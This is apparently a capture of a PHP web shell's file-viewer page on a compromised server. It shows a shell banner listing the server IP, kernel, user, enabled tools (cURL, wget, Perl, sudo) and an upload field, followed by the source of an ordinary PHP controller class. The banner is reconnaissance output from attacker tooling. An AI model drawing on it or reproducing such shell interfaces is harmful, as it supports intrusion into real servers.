Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_support/modules/pkpCore/ |
Upload File : |
<?php
// The basic Controller.
class ModuleMain {
protected $module_dir;
// parameter required if loadModel or __loadView is being used
public function __construct($dir = '') {
if (empty($dir)) $dir = __DIR__ ;
$this->module_dir = $dir;
}
static
public function GetHandle() {
$name = static::class;
if (!isset($GLOBALS['handle'][$name])) {
return $GLOBALS['handle'][$name] = new static;
} else {
return $GLOBALS['handle'][$name];
}
}
public function loadModel($name, $module = '') {
if ($module == '') {
$dir = empty($this->module_dir) ? HOME : $this->module_dir;
} else {
$dir = HOME . '/modules/' . $module;
}
$file = $dir .'/model/'. strtolower($name) .'.php';
$classname = '';
if (file_exists($file)) {
try {
require_once $file;
} catch (Throwable $e) { // php 7
die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [2]');
}
$info = $GLOBALS['loader']->GetFileInformation($file);
foreach($info as $info_classname => $info_item) {
$x = isset($info_item['.ext']) ? strtolower($info_item['.ext']) : ''; // extends
if (strpos($x, 'model') !== FALSE || strpos($x, '_base') !== FALSE) {
$classname = $info_classname;
break;
}
if (strpos($info_classname, '_model') !== FALSE) {
$classname = $info_classname;
break;
}
}
}
if ($classname != '') {
try {
if (method_exists($classname, 'GetHandle')) {
$model = $classname::GetHandle();
} else {
$model = new $classname;
}
} catch (Throwable $e) { // php 7
die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [2]');
}
$model->controller = $this;
} else {
// echo "Modulemain:loadmodel "; var_dump($info);
$model = FALSE;
}
return $model;
}
public function __loadView($name) {
$dir = empty($this->module_dir) ? HOME : $this->module_dir;
$file = $dir .'/view/'. strtolower($name) .'.php';
try {
require_once $file;
} catch (Throwable $e) { // php 7
die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [3]');
}
$view = new $name;
$view->static = '';
// static folder present? Load in uri
if (!empty($this->module_dir)) {
$modulename = basename($this->module_dir);
list($modname, $info) = $GLOBALS['loader']->locateModule($modulename);
if ($info !== FALSE && isset($info['static'])) {
$view->static = $info['static'];
}
}
return $view;
}
public function GetModuleSettings() {
return $GLOBALS['loader']->LoadModuleSettings($this->module_dir);
}
protected function autoloadRegister($source_component, $target) {
if ($target == '.') $target = $this->module_dir;
spl_autoload_register(function($class) use ($source_component, $target) {
$sl = strlen($source_component);
if (substr($class, 0, $sl) == $source_component) {
$class = str_replace('\\', '/', substr($class, $sl));
$filename = $target . $class . '.php';
if (file_exists($filename)) {
try {
require_once $filename;
} catch (Throwable $e) { // php 7
die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [15]');
}
return TRUE;
}
}
return FALSE;
});
}
public function Activate() {
}
}